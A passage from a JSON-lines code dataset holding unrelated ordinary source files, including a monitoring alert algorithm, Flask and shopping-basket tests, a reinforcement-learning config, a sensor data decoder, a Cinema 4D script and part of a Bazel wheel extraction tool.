-*-\n\"\"\"\nTencent is pleased to support the open source community by making 蓝鲸智云 - 监控平台 (BlueKing - Monitor) available.\nCopyright (C) 2017-2021 THL A29 Limited, a Tencent company. All rights reserved.\nLicensed under the MIT License (the \"License\"); you may not use this file except in compliance with the License.\nYou may obtain a copy of the License at http://opensource.org/licenses/MIT\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on\nan \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\"\"\"\n\"\"\"\n高级环比算法\n\"\"\"\n\n\nimport logging\n\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom alarm_backends.service.detect.strategy.advanced_year_round import AdvancedYearRound\nfrom bkmonitor.strategy.serializers import AdvancedRingRatioSerializer\nfrom bkmonitor.utils.common_utils import safe_int\nfrom core.errors.alarm_backends.detect import InvalidDataPoint\n\nlogger = logging.getLogger(\"detect\")\n\n\nclass AdvancedRingRatio(AdvancedYearRound):\n config_serializer = AdvancedRingRatioSerializer\n expr_op = \"or\"\n\n floor_desc_tpl = _(\n \"{% load unit %}较前{{floor_interval}}个时间点的均值({{floor_history_value|auto_unit:unit}})下降超过{{floor}}%\"\n )\n ceil_desc_tpl = _(\"{% load unit %}较前{{ceil_interval}}个时间点的均值({{ceil_history_value|auto_unit:unit}})上升超过{{ceil}}%\")\n\n def extra_context(self, context):\n env = dict()\n floor_history_data_points = self.history_point_fetcher(\n context.data_point, cycles=self.validated_config[\"floor_interval\"] or 0\n )\n if not isinstance(floor_history_data_points, list):\n raise InvalidDataPoint(data_point=floor_history_data_points)\n if floor_history_data_points:\n env[\"floor_history_value\"] = round(\n sum([p.value for p in floor_history_data_points]) * 1.0 / len(floor_history_data_points), 2\n )\n\n ceil_history_data_points = self.history_point_fetcher(\n context.data_point, cycles=self.validated_config[\"ceil_interval\"] or 0\n )\n if ceil_history_data_points:\n env[\"ceil_history_value\"] = round(\n sum([p.value for p in ceil_history_data_points]) * 1.0 / len(ceil_history_data_points), 2\n )\n\n env.update(self.validated_config)\n return env\n\n def get_history_offsets(self, item):\n agg_interval = item.rt_query_config[\"agg_interval\"]\n max_interval = max(\n map(safe_int, [self.validated_config[\"ceil_interval\"], self.validated_config[\"floor_interval\"]])\n )\n return [(1 * agg_interval, max_interval * agg_interval)]\n\n def history_point_fetcher(self, data_point, **kwargs):\n \"\"\"\n :return: list(data_point)\n \"\"\"\n # 前 n 个周期的 data points\n cycles = kwargs[\"cycles\"]\n target_offsets = []\n agg_interval = data_point.item.rt_query_config[\"agg_interval\"]\n cur_offset = agg_interval\n while cycles > 0:\n target_offsets.append(cur_offset)\n cur_offset += agg_interval\n cycles -= 1\n\n points = []\n for offset in target_offsets:\n history_timestamp = data_point.timestamp - offset\n point = self.fetch_history_point(data_point.item, data_point, history_timestamp)\n if point:\n points.append(point)\n return points\n","sub_path":"alarm_backends/service/detect/strategy/advanced_ring_ratio.py","file_name":"advanced_ring_ratio.py","file_ext":"py","file_size_in_byte":3624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"378775769","text":"import pytest\nfrom application import create_app, db\n\n\n@pytest.fixture\ndef app(request):\n \"\"\"\n Returns a Flask app for testing\n Following https://github.com/pallets/flask/blob/master/examples/flaskr/tests/test_flaskr.py\n \"\"\"\n app = create_app(\"development\")\n\n with app.app_context():\n db.init_app(app)\n db.create_all(app=app)\n yield app\n\n\n@pytest.fixture\ndef client(request, app):\n a_client = app.test_client()\n return a_client\n\n\ndef test_hello(client):\n result = client.get('/')\n assert b\"Hello\" in result.data\n","sub_path":"flask-bootstrap/larger-app/test_application.py","file_name":"test_application.py","file_ext":"py","file_size_in_byte":563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"599216146","text":"import gym\nfrom keras.optimizers import Adam\n\nimport os\nimport sys\nsys.path.append(os.path.join(os.path.dirname(__file__), '../'))\n\nfrom src.r2d3 import Actor\nfrom src.processor import PendulumProcessorForDQN\nfrom src.policy import EpsilonGreedy, AnnealingEpsilonGreedy\nfrom src.image_model import DQNImageModel\nfrom src.memory import PERRankBaseMemory, PERProportionalMemory\nfrom src.common import InputType, LstmType, DuelingNetwork, seed_everything, LoggerType\n\nfrom Lib import run_gym_rainbow, run_gym_r2d3, run_play, run_replay\n\n\nseed_everything(42)\nENV_NAME = \"Pendulum-v0\"\nepisode_save_dir = \"tmp_{}.\".format(ENV_NAME)\n\n\ndef create_parameter():\n \n env = gym.make(ENV_NAME)\n \n # ゲーム情報\n print(\"action_space : \" + str(env.action_space))\n print(\"observation_space : \" + str(env.observation_space))\n print(\"reward_range : \" + str(env.reward_range))\n\n image = False\n if image:\n processor = PendulumProcessorForDQN(enable_image=True, reward_clip=None)\n input_shape = processor.image_shape\n input_type = InputType.GRAY_2ch\n image_model = DQNImageModel()\n enable_rescaling = True\n else:\n processor = PendulumProcessorForDQN(enable_image=False, reward_clip=None)\n input_shape = env.observation_space.shape\n input_type = InputType.VALUES\n image_model = None\n enable_rescaling = True\n\n kwargs = {\n \"input_shape\": input_shape, \n \"input_type\": input_type,\n \"nb_actions\": processor.nb_actions, \n \"optimizer\": Adam(lr=0.001),\n \"metrics\": [],\n\n \"image_model\": image_model,\n \"input_sequence\": 4, # 入力フレーム数\n \"dense_units_num\": 32, # dense層のユニット数\n \"enable_dueling_network\": True,\n \"dueling_network_type\": DuelingNetwork.AVERAGE, # dueling networkで使うアルゴリズム\n \"lstm_type\": LstmType.STATELESS, # 使用するLSTMアルゴリズム\n \"lstm_units_num\": 32, # LSTMのユニット数\n \"lstm_ful_input_length\": 2, # ステートフルLSTMの入力数\n\n \"memory_warmup_size\": 200, # 初期のメモリー確保用step数(学習しない)\n \"target_model_update\": 1000, # target networkのupdate間隔\n \"action_interval\": 1, # アクションを実行する間隔\n \"batch_size\": 8, # batch_size\n \"gamma\": 0.99, # Q学習の割引率\n \"enable_double_dqn\": True,\n \"enable_rescaling\": enable_rescaling, # rescalingを有効にするか\n \"rescaling_epsilon\": 0.001, # rescalingの定数\n \"priority_exponent\": 0.9, # priority優先度\n \"burnin_length\": 2, # burn-in期間\n \"reward_multisteps\": 3, # multistep reward\n \"enable_terminal_zero_reward\": True,\n\n # その他\n \"processor\": processor,\n \"memory\": PERRankBaseMemory(\n capacity= 100_000,\n alpha=0.8, # PERの確率反映率\n beta_initial=0.0, # IS反映率の初期値\n beta_steps=5_000, # IS反映率の上昇step数\n enable_is=True, # ISを有効にするかどうか\n ),\n #\"demo_memory\": PERProportionalMemory(100_000, alpha=0.8),\n \"demo_episode_dir\": episode_save_dir,\n \"demo_ratio_initial\": 1.0,\n \"demo_ratio_final\": 1/256.0,\n \"demo_ratio_steps\": 5_000,\n\n \"episode_memory\": PERProportionalMemory(600, alpha=0.8),\n \"episode_ratio\": 1.0/32.0,\n }\n\n env.close()\n return kwargs\n\n\n\ndef run_rainbow(enable_train):\n kwargs = create_parameter()\n kwargs[\"train_interval\"] = 1\n kwargs[\"action_policy\"] = AnnealingEpsilonGreedy(\n initial_epsilon=1.0, # 初期ε\n final_epsilon=0.01, # 最終状態でのε\n exploration_steps=5_000 # 初期→最終状態になるまでのステップ数\n )\n\n run_gym_rainbow(enable_train, ENV_NAME, kwargs,\n nb_steps=20_000,\n log_interval1=2000,\n is_load_weights=False,\n skip_movie_save=True,\n )\n \n\nclass MyActor(Actor):\n def getPolicy(self, actor_index, actor_num):\n return EpsilonGreedy(0.1)\n\n def fit(self, index, agent):\n env = gym.make(ENV_NAME)\n agent.fit(env, visualize=False, verbose=0)\n env.close()\n\nclass MyActor1(MyActor):\n def getPolicy(self, actor_index, actor_num):\n return EpsilonGreedy(0.01)\n\nclass MyActor2(MyActor):\n def getPolicy(self, actor_index, actor_num):\n return EpsilonGreedy(0.1)\n\ndef run_r2d3(enable_train):\n kwargs = create_parameter()\n\n kwargs[\"actors\"] = [MyActor1]\n #kwargs[\"actors\"] = [MyActor1, MyActor2]\n kwargs[\"gamma\"] = 0.997\n kwargs[\"actor_model_sync_interval\"] = 50 # learner から model を同期する間隔\n\n run_gym_r2d3(enable_train, ENV_NAME, kwargs,\n nb_trains=20_000,\n test_actor=MyActor,\n log_warmup=0,\n log_interval1=10,\n log_interval2=20,\n log_change_count=5,\n log_test_episodes=10,\n is_load_weights=False,\n skip_movie_save=True\n )\n\n\n\nif __name__ == '__main__':\n kwargs = create_parameter()\n env = gym.make(ENV_NAME)\n \n #run_play(env, episode_save_dir, kwargs[\"processor\"])\n #run_replay(episode_save_dir)\n\n run_rainbow(enable_train=True)\n #run_rainbow(enable_train=False) # test only\n\n #run_r2d3(enable_train=True)\n #run_r2d3(enable_train=False) # test only\n\n","sub_path":"examples/pendulum.py","file_name":"pendulum.py","file_ext":"py","file_size_in_byte":5492,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"421454954","text":"from unittest import TestCase\nfrom shopping_basket.models.product import Product\nfrom shopping_basket.models.basket import Basket\n\n\nclass TestBasket(TestCase):\n\n def setUp(self):\n self.basket = Basket()\n self.bicycle = Product(name='bicycle', price=45000)\n self.lamp = Product(name='lamp', price=1200)\n self.vase = Product(name='vase', price=2500)\n\n def test_basket_initalized_with_an_empty_list_of_products(self):\n self.assertEqual(self.basket.products, [])\n\n def test_add_method_adds_a_product_to_the_product_list(self):\n self.basket.add(self.bicycle)\n self.assertIn(self.bicycle, self.basket.products)\n\n def test_add_method_adds_multiple_product_to_the_product_list(self):\n self.basket.add(self.bicycle, self.lamp, self.vase)\n self.assertIn(self.bicycle, self.basket.products)\n self.assertIn(self.lamp, self.basket.products)\n self.assertIn(self.vase, self.basket.products)\n\n def test_remove_method_removes_item_from_basket_by_name(self):\n self.basket.add(self.bicycle, self.lamp, self.vase)\n self.assertIn(self.lamp, self.basket.products)\n self.basket.remove('lamp')\n self.assertNotIn(self.lamp, self.basket.products)\n\n def test_empty_method_updates_basket_products_to_an_empty_list(self):\n self.basket.add(self.bicycle, self.lamp, self.vase)\n self.assertEqual(len(self.basket.products), 3)\n self.basket.empty()\n self.assertEqual(len(self.basket.products), 0)\n\n def test_basket_total_is_the_sum_of_its_products_prices(self):\n self.basket.add(self.bicycle, self.lamp, self.vase)\n self.assertEqual(self.basket.total(), (45000 + 1200 + 2500))\n self.basket.remove('lamp')\n self.assertEqual(self.basket.total(), (45000 + 2500))\n self.basket.empty()\n self.assertEqual(self.basket.total(), 0)\n","sub_path":"python/tests/test_basket.py","file_name":"test_basket.py","file_ext":"py","file_size_in_byte":1885,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"500309532","text":"# -*- coding: utf-8 -*-\n\"\"\"\nWMalgos: https://github.com/Dosann/WMalgos\nauthor: duxin\nemail: duxin_be@outlook.com\ncreate time: 2017/10/29 12:08\nJust enjoy it and welcome for joining us!\n\"\"\"\n\nimport sys\nsys.path.append('../Core')\nimport basemodel\nimport numpy as np\nimport pandas as pd\n\n\nclass LinearRegressionModel(basemodel.BaseModel):\n w = 0\n b = 0\n\n def __init__(self, lr = 0.01, maxiter = 1000, prec = 1e-5):\n basemodel.BaseModel.__init__(self)\n self.name = 'LinearRegressionModel'\n self.lr = lr\n self.maxiter = maxiter\n self.prec = prec\n\n def fit(self, X, Y):\n X = np.hstack((X, np.ones([X.shape[0], 1])))\n XTX = np.dot(X.T, X)\n # make sure if XTX is singular matrix\n isSing = 0\n try:\n XTXinv = np.linalg.inv(XTX)\n except:\n print('XTX is singular!')\n isSing = 1\n if isSing == 1:\n w = self.__fitByGDopt(X, Y, w0 = np.random.randn(X.shape[1], 1))\n else:\n w = np.dot(XTXinv, np.dot(X.T, Y))\n self.w = w\n # calculate SSR\n Yhat = np.dot(X, self.w)\n return np.mean((Yhat - Y)**2)\n\n def __fitByGDopt(self, X, Y, w0):\n w = w0\n for iter in range(self.maxiter):\n error = np.dot(X, w) - Y\n if np.mean(error**2) < self.prec:\n return w\n grad = 2 * np.dot(X.T, np.dot(X, w) - Y)\n print(grad)\n w += - grad * self.lr\n self.w = w\n return w\n\n\n def predict(self, x):\n x = np.hstack((x, np.array([[1]])))\n return np.dot(x, self.w)\n\n\n","sub_path":"src/Chapter03 Linear Models/LinearRegression.py","file_name":"LinearRegression.py","file_ext":"py","file_size_in_byte":1621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"161623345","text":"from django.utils.deprecation import MiddlewareMixin\nfrom .models import BrowseRecord\n\n\nclass LogMiddleware(MiddlewareMixin):\n def process_request(self, request):\n request.session[\"see\"] = BrowseRecord.objects.count()\n ip = request.META.get(\"REMOTE_ADDR\")\n log = BrowseRecord.objects.filter(ip=ip).first()\n if not log:\n log = BrowseRecord(ip=ip)\n log.save()\n return None\n","sub_path":"content/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"270739366","text":"import numpy as np\nimport csv\n\nclass NeuralNetwork():\n\n\n\n\n #TODOLIST\n # - Need a dataset that has 4 yes/no datapoints and a result (likeliness to succeed, predicted income by factors...)\n # - Change number of variables to match a CSV dataset\n # - Predict something real\n #\n #\n \n def __init__(self):\n \n # seeding for random number generation\n np.random.seed(1)\n\n # converting weights to a 3 by 1 matrix with values from -1 to 1 and\n # mean of 0\n self.weights = 2 * np.random.random((3, 1)) - 1\n\n \n\n def sigmoidFunction(self, input):\n # 1 over 1 + e to the negative input\n return 1 / (1 + np.exp(-input))\n\n def getSigmoidFunctionDerivative(self, input):\n return (1-input) * input\n\n def train(self, trainingInput, trainingOutput):\n\n \n for iteration in range(100):\n \n guessedOutput = self.think(trainingInput) # Get result with existing coefficients\n\n error = trainingOutput - guessedOutput # See how far this is off from what we expected\n\n adjustments = np.dot(trainingInput.T, error * self.getSigmoidFunctionDerivative(guessedOutput))\n\n self.weights += adjustments\n\n\n def think(self, input):\n \n input = input.astype(float)\n output = self.sigmoidFunction(np.dot(input, self.weights))\n return output\n \n\n \n\n\n\n\n\nif __name__ == \"__main__\":\n\n neural_network = NeuralNetwork()\n\n # load csv file\n f = open('LondonOlympicsDataCSV.csv')\n csvFile = csv.reader(f)\n\n inputData = np.zeros((568, 3)) # These need to be between 0 and 1...\n outputData = np.zeros((568))\n p=0\n for row in csvFile:\n\n if (p != 0):\n inputData[p-1][0] = row[0]\n inputData[p-1][1] = row[1]\n inputData[p-1][2] = row[2]\n\n outputData[p-1] = row[3]\n \n p+=1\n\n outputData = np.array([outputData]).T\n print(outputData)\n \n\n \n\n # Normalize inputData\n i=0\n for iteration in range(len(inputData)):\n inputData[i][0] = (float(inputData[i][0]) - 15.0) / 23.0\n inputData[i][1] = (float(inputData[i][1]) - 160.0) / 61.0\n inputData[i][2] = (float(inputData[i][2]) - 50.0) / 80.0\n i+=1\n \n\n neural_network.train(inputData, outputData)\n\n print(\"Weights after training: \")\n print(neural_network.weights)\n\n \n\n inputOne = str(input(\"Age: \"))\n inputTwo = str(input(\"Height: \"))\n inputThree = str(input(\"Weight: \"))\n\n inputOne = (float(inputOne) - 15.0) / 23.0\n inputTwo = (float(inputTwo) - 160.0) / 61.0\n inputThree = (float(inputThree) - 50.0) / 80.0\n\n print(\"Outcome: \")\n print(neural_network.think(np.array([inputOne, inputTwo, inputThree])))\n \n\n \n \n","sub_path":"NeuralNetwork.py","file_name":"NeuralNetwork.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"579841594","text":"import binascii\nimport re\nimport struct\nfrom waggle.coresense.utils import decode_frame as decode_frame_v3\nfrom waggle.protocol.v5.decoder import decode_frame as decode_frame_v5\nfrom waggle.protocol.v5.decoder import convert as convert_v5\n\n\ndef normalize_key(k):\n return re.sub('[-_.]+', '_', k).lower()\n\n\ndef normalize_value(v):\n if isinstance(v, dict):\n return {normalize_key(k2): normalize_value(v2) for k2, v2 in v.items()}\n if isinstance(v, list):\n return [normalize_value(v2) for v2 in v]\n if isinstance(v, float):\n return round(v, 3)\n return v\n\n\ndef trim_python_repr(s):\n if s.startswith(\"b'\"):\n return s[2:-1]\n return s\n\n\ndef trim_coresense_packet(source):\n start = source.index(b'\\xaa')\n end = source.rindex(b'\\x55')\n return source[start:end + 1]\n\n\ndef reunpack_if_needed(source):\n if source[0] != 0xaa:\n return binascii.unhexlify(source.decode())\n return source\n\n\ndef decode_coresense_3(source):\n source = trim_coresense_packet(source)\n source = reunpack_if_needed(source)\n return decode_frame_v3(source)\n\n\nstill_raw_sensors = {\n 'Chemsense',\n 'Si1145',\n}\n\n\ndef decode_coresense_4(source):\n source = trim_coresense_packet(source)\n source = reunpack_if_needed(source)\n\n unpacked_data = decode_frame_v5(source)\n\n raw_results = {}\n\n for sensor_id, sensor_data in unpacked_data.items():\n raw_results.update(sensor_data)\n\n converted_results = {}\n\n for sensor_id, sensor_data in unpacked_data.items():\n for key, (value, unit) in convert_v5(sensor_data, sensor_id).items():\n converted_results[key] = value\n\n all_results = {}\n\n for k, v in map_readings_4to3(raw_results).items():\n all_results[('raw', k)] = v\n\n for k, v in map_readings_4to3(converted_results).items():\n if k in still_raw_sensors:\n all_results[('raw', k)] = v\n else:\n all_results[('converted', k)] = v\n\n return all_results\n\n\ndef decode18(data):\n bincounts = struct.unpack_from('<16H', data, offset=0)\n mtof = [x / 3 for x in struct.unpack_from('<4B', data, offset=32)]\n pmvalues = sorted(struct.unpack_from('<3f', data, offset=50))\n\n values = {\n 'bins': bincounts,\n 'mtof': mtof,\n 'pm': {'1': pmvalues[0], '2.5': pmvalues[1], '10': pmvalues[2]},\n }\n\n return values\n\n\ndef decode_alphasense_1(source):\n return decode18(source)\n\n\ndecoders = {\n 'coresense:3': decode_coresense_3,\n 'coresense:4': decode_coresense_4,\n 'alphasense:1': decode_alphasense_1,\n}\n\n\ndef decode(row):\n plugin = ':'.join([row.plugin_name, row.plugin_version])\n\n source = binascii.unhexlify(trim_python_repr(row.data))\n\n if plugin not in decoders:\n return {}\n\n return decoders[plugin](source)\n\n\ntemplate_4to3 = {\n 'APDS-9006-020': {\n 'intensity': 'lightsense_apds_9006_020_light'\n },\n 'BMP180': {\n 'pressure': 'metsense_bmp180_pressure',\n 'temperature': 'metsense_bmp180_temperature',\n },\n 'HIH4030': {\n 'humidity': 'metsense_hih4030_humidity',\n },\n 'HIH6130': {\n 'humidity': 'lightsense_hih6130_humidity',\n 'temperature': 'lightsense_hih6130_temperature',\n },\n 'HMC5883L': {\n 'magnetic_field.x': 'lightsense_hmc5883l_hx',\n 'magnetic_field.y': 'lightsense_hmc5883l_hy',\n 'magnetic_field.z': 'lightsense_hmc5883l_hz',\n },\n 'HTU21D': {\n 'humidity': 'metsense_htu21d_humidity',\n 'temperature': 'metsense_htu21d_temperature',\n },\n 'LPS25H': {\n 'pressure': 'chemsense_lpp',\n 'temperature': 'chemsense_lpt',\n },\n 'ML8511': {\n 'intensity': 'lightsense_ml8511',\n },\n 'MLX75305': {\n 'intensity': 'lightsense_mlx75305',\n },\n 'MMA8452Q': {\n 'acceleration.x': 'metsense_mma8452q_acc_x',\n 'acceleration.y': 'metsense_mma8452q_acc_y',\n 'acceleration.z': 'metsense_mma8452q_acc_z',\n },\n 'SHT25': {\n 'humidity': 'chemsense_shh',\n 'temperature': 'chemsense_sht',\n },\n 'Si1145': {\n 'ir_count': 'chemsense_sir',\n 'uv_count': 'chemsense_suv',\n 'visible_light_count': 'chemsense_svl',\n },\n 'TMP421': {\n 'temperature': 'lightsense_tmp421',\n },\n 'TSL250RD-LS': {\n 'intensity': 'lightsense_tsl250_light',\n },\n 'TSL260RD': {\n 'intensity': 'lightsense_tsl260_light',\n },\n 'Coresense ID': {\n 'mac_address': 'metsense_id',\n },\n 'PR103J2': {\n 'temperature': 'metsense_pr103j2_temperature',\n },\n 'SPV1840LR5H-B': {\n 'intensity': 'metsense_spv1840lr5h-b',\n },\n 'TMP112': {\n 'temperature': 'metsense_tmp112',\n },\n 'TSL250RD-AS': {\n 'intensity': 'metsense_tsl250rd_light',\n },\n 'TSYS01': {\n 'temperature': 'metsense_tsys01_temperature',\n },\n 'Chemsense ID': {\n 'mac_address': 'chemsense_id',\n },\n 'Chemsense': {\n 'co': 'chemsense_cmo',\n 'h2s': 'chemsense_h2s',\n 'no2': 'chemsense_no2',\n 'o3': 'chemsense_ozo',\n 'so2': 'chemsense_so2',\n 'reducing_gases': 'chemsense_irr',\n 'oxidizing_gases': 'chemsense_iaq',\n 'at0': 'chemsense_at0',\n 'at1': 'chemsense_at1',\n 'at2': 'chemsense_at2',\n 'at3': 'chemsense_at3',\n },\n 'Alphasense': {\n 'pm1': 'alphasense_pm1',\n 'pm2.5': 'alphasense_pm2.5',\n 'pm10': 'alphasense_pm10',\n 'bins': 'alphasense_bins',\n 'sample flow rate': 'alphasense_sample_flow_rate',\n 'sampling period': 'alphasense_sampling_period',\n 'id': 'alpha_serial',\n 'fw': 'alpha_firmware',\n },\n 'PMS7003': {\n '10um_particle': 'pms7003_10um_particle',\n '1um_particle': 'pms7003_1um_particle',\n '2_5um_particle': 'pms7003_2_5um_particle',\n '5um_particle': 'pms7003_5um_particle',\n 'pm10_atm': 'pms7003_pm10_atm',\n 'pm10_cf1': 'pms7003_pm10_cf1',\n 'pm1_atm': 'pms7003_pm1_atm',\n 'pm1_cf1': 'pms7003_pm1_cf1',\n 'pm25_atm': 'pms7003_pm25_atm',\n 'pm25_cf1': 'pms7003_pm25_cf1',\n 'point_3um_particle': 'pms7003_point_3um_particle',\n 'point_5um_particle': 'pms7003_point_5um_particle',\n },\n 'Net Broadband': {\n 'rx': 'net_broadband_rx',\n 'tx': 'net_broadband_tx',\n },\n 'Net LAN': {\n 'rx': 'net_lan_rx',\n 'tx': 'net_lan_tx',\n },\n 'Net USB': {\n 'rx': 'net_usb_rx',\n 'tx': 'net_usb_tx',\n },\n}\n\n\ndef stringify(x):\n if isinstance(x, tuple) or isinstance(x, list):\n return ','.join([stringify(xi) for xi in x])\n if isinstance(x, bytes) or isinstance(x, bytearray):\n return binascii.hexlify(x).decode()\n return str(x)\n\n\ndef map_parameters_4to3(readings, parameters):\n output = {}\n\n for p, k in parameters.items():\n output[p] = stringify(readings[k])\n\n return output\n\n\ndef map_readings_4to3(readings):\n output = {}\n\n for sensor, parameters in template_4to3.items():\n try:\n output[sensor] = map_parameters_4to3(readings, parameters)\n except KeyError:\n continue\n\n return output\n","sub_path":"data-exporter/pipeline.py","file_name":"pipeline.py","file_ext":"py","file_size_in_byte":7163,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"98291581","text":"def fact(n):\n ret = 1\n for i in range(2, n + 1):\n ret *= i\n return ret\n\n\ndef comb(n, r):\n return fact(n) // (fact(n - r) * fact(r))\n\n\nans = 0\nfor i in range(100 + 1):\n print(i)\n for j in range(1, i):\n ret = comb(i, j)\n if ret > 1_000_000:\n ans += 1\nprint(ans)\n","sub_path":"51-60/53.py","file_name":"53.py","file_ext":"py","file_size_in_byte":310,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"143396652","text":"import re\nimport numpy as np\nimport aux as a\n\nindexIdList = [] # (index, id)\nidIndexList = [] # (id, index)\n\n#gera waylist com info do arquivo, gera tambem indexid e idindex, adiciona o comprimento normalizado\n#gera lista de ruas, cada rua e uma lista\n#composta por id, comprimento, numero de vias, probabilidades de conversao e id de sua via oposta\n#prob de conversao sao representadas como uma lista de tuplas com cada tupla sendo id destino, probabilidade\n\ndef fileProcess(fileToProcess):\n global indexIdList\n global idIndexList\n wayFile = []\n\n file = open(fileToProcess, \"r\")\n lines = file.readlines()\n filesize = len(lines)\n\n for x in range(0,filesize,5):\n wayId = lines[x]\n wayLen = lines[x+1]\n waylane = lines[x+2]\n wayOpossite = lines[x+3]\n wayProb = lines[x+4]\n\n wayId = int(re.sub(\"\\n\",'',wayId))\n wayLen = float(re.sub(\"\\n\",'',wayLen))\n wayOpossite = stringCut(wayOpossite,int)\n # wayOpossite = int(re.sub(\"\\n\",'',wayOpossite))\n waylane = int(re.sub(\"\\n\",'',waylane))\n wayProb = re.sub(\"\\n\",'',wayProb)\n wayProb = wayProb.split('|')\n\n probs = []\n for x in range(0,len(wayProb),2):\n probs.append((int(wayProb[x]),float(wayProb[x+1])))\n\n way = [wayId, wayLen, waylane, probs, wayOpossite]\n wayFile.append(way)\n\n wayFile = sorted(wayFile, key=getFirstAsKey)\n\n for x in range(0,len(wayFile)):\n indexIdList.append((x,wayFile[x][0]))\n idIndexList.append((wayFile[x][0],x))\n idIndexList = dict(idIndexList)\n\n return wayFile\n\ndef stringCut(input, param):\n try:\n retorno = re.sub(\"\\n\",'',input)\n if param == int:\n retorno = int(retorno)\n except Exception as e:\n return -1\n return retorno\n pass\n\ndef getFirstAsKey(item):\n return item[0]\n\ndef indexToId(index):\n wayId = indexIdList[index][1]\n return wayId\n\ndef idToIndex(wayId):\n wayIndex = idIndexList[wayId]\n return wayIndex\n\ndef getTransitionMatrix(wayFile):\n transitionProbability = np.zeros(shape=(len(wayFile),len(wayFile)))\n for wayFrom in range(0,len(wayFile)):\n for wayTo in wayFile[wayFrom][3]:\n transitionProbability[wayFrom][idToIndex(wayTo[0])] = wayTo[1]\n\n return transitionProbability\n\ndef processInput(fileToProcess):\n wayFile = fileProcess(fileToProcess)\n pAccent = getTransitionMatrix(wayFile)\n P = a.insertAutoLoop(pAccent,wayFile)\n\n #id comprimento num lanes e via oposta\n wayInfos = []\n for x in wayFile:\n wayInfos.append([x[0],x[1],x[2],x[4]])\n\n return wayInfos, pAccent, P","sub_path":"geneticAlgoritm/3.0/importer.py","file_name":"importer.py","file_ext":"py","file_size_in_byte":2630,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"651721082","text":"import c4d\r\n\r\ndef main():\r\n\r\n if not op or not op.CheckType(c4d.Opolygon):\r\n c4d.gui.MessageDialog('Please select Polygons')\r\n\r\n points = op.GetAllPoints()\r\n polys = op.GetAllPolygons()\r\n sel = op.GetPolygonS()\r\n new_polys = []\r\n\r\n for i, v in enumerate(sel.GetAll(len(polys))):\r\n if not v:\r\n continue\r\n new_polys.append(polys[i])\r\n\r\n obj = c4d.PolygonObject(len(points), len(new_polys))\r\n\r\n obj.SetAllPoints(points)\r\n\r\n for i, p in enumerate(new_polys):\r\n obj.SetPolygon(i, p)\r\n\r\n if obj:\r\n settings = c4d.BaseContainer()\r\n settings[c4d.MDATA_OPTIMIZE_UNUSEDPOINTS] = True\r\n settings[c4d.MDATA_OPTIMIZE_POINTS] = False\r\n settings[c4d.MDATA_OPTIMIZE_POLYGONS] = False\r\n opt = c4d.utils.SendModelingCommand(command = c4d.MCOMMAND_OPTIMIZE,\r\n list = [obj],\r\n mode =c4d.MODELINGCOMMANDMODE_ALL,\r\n bc = settings,\r\n doc = doc)\r\n op.CopyTagsTo(obj, True, True, False)\r\n obj.Message(c4d.MSG_UPDATE)\r\n if opt:\r\n c4d.StopAllThreads()\r\n doc.StartUndo()\r\n\r\n obj[c4d.ID_BASEOBJECT_VISIBILITY_RENDER] = 1\r\n obj.SetName('Scalp_dynamic')\r\n doc.InsertObject(obj)\r\n\r\n surfscalp = c4d.BaseObject(1024552)\r\n surfscalp[c4d.ID_CA_SURFACE_DEFORMER_OBJECT_CAGE] = op\r\n surfscalp[c4d.ID_CA_SURFACE_DEFORMER_OBJECT_TYPE] = 0\r\n surfscalp.InsertUnder(obj)\r\n\r\n ornatrix = c4d.BaseObject(1040603)\r\n orn_tags = ornatrix.MakeTag(1040939), ornatrix.MakeTag(1040609), ornatrix.MakeTag(1040610), ornatrix.MakeTag(1040608), ornatrix.MakeTag(c4d.Tphong)\r\n ornatrix[c4d.ho_MeshLink] = obj\r\n doc.InsertObject(ornatrix)\r\n\r\n c4d.CallButton(surfscalp, c4d.ID_CA_SURFACE_DEFORMER_OBJECT_INITIAL)\r\n\r\n doc.AddUndo(c4d.UNDOTYPE_NEW, surfscalp)\r\n doc.AddUndo(c4d.UNDOTYPE_NEW, ornatrix)\r\n doc.AddUndo(c4d.UNDOTYPE_NEW, obj)\r\n\r\n doc.EndUndo()\r\n c4d.EventAdd()\r\n doc.ExecutePasses(None, False, True, False, c4d.BUILDFLAGS_0)\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"Ornatrix_helpers/Ornatrix_scalp_surf.py","file_name":"Ornatrix_scalp_surf.py","file_ext":"py","file_size_in_byte":2339,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"321783569","text":"import argparse\nimport glob\nimport os\nimport subprocess\nimport sys\nimport re\n\nfrom src import wheel, namespace_pkgs\n\nBUILD_TEMPLATE = \"\"\"\\\npackage(default_visibility = [\"//visibility:public\"])\n\nload(\"@rules_python//python:defs.bzl\", \"py_library\")\n\npy_library(\n name = \"{name}\",\n srcs = glob([\"**/*.py\"]),\n data = glob([\"**/*\"], exclude=[\"**/*.py\", \"**/* *\", \"BUILD\", \"WORKSPACE\"]),\n # This makes this directory a top-level in the python import\n # search path for anything that depends on this.\n imports = [\".\"],\n deps = [{dependencies}],\n)\n\"\"\"\n\ndef extract_extra(name):\n extras = []\n if '[' in name:\n name, extras = name.split('[')\n extras = extras.replace(']','').split(',')\n return name, extras\n \ndef sanitise_name(name):\n \"\"\"\n There are certain requirements around Bazel labels that we 